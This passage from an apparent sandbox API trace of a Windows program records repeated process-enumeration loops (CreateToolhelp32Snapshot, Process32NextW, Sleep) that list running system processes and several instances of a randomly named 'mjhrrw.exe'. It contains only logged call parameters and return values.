th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0265.500] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0265.500] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.501] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.502] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.502] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.503] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.504] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.504] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.505] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.506] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.507] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.508] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.508] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.509] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.509] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.510] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.511] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.512] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0265.512] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0265.514] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0265.515] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0265.516] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.516] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0265.517] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.518] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0265.518] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0265.519] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0265.520] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0265.521] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0265.521] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0265.522] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0265.523] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0266.213] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.214] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.215] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.215] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0266.216] CloseHandle (hObject=0x358) returned 1 [0266.216] Sleep (dwMilliseconds=0x1f4) [0266.899] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0266.908] Process32FirstW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.909] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.909] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.910] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.911] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.911] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.912] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.913] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.914] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.928] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0266.929] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0266.929] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.930] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.931] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.932] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.932] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.933] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.934] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.934] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.935] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.936] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.936] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.937] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.939] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.939] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.940] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.941] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.942] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0266.942] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0266.943] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0266.944] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0266.944] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.945] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0266.946] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.947] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0266.947] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0267.124] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0267.124] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0267.125] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0267.138] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0267.139] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0267.140] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0267.141] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.142] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.142] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0267.143] Process32NextW (in: hSnapshot=0x368, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0267.143] CloseHandle (hObject=0x368) returned 1 [0267.143] Sleep (dwMilliseconds=0x1f4) [0267.887] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0267.893] Process32FirstW (in: hSnapshot=0x340, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, 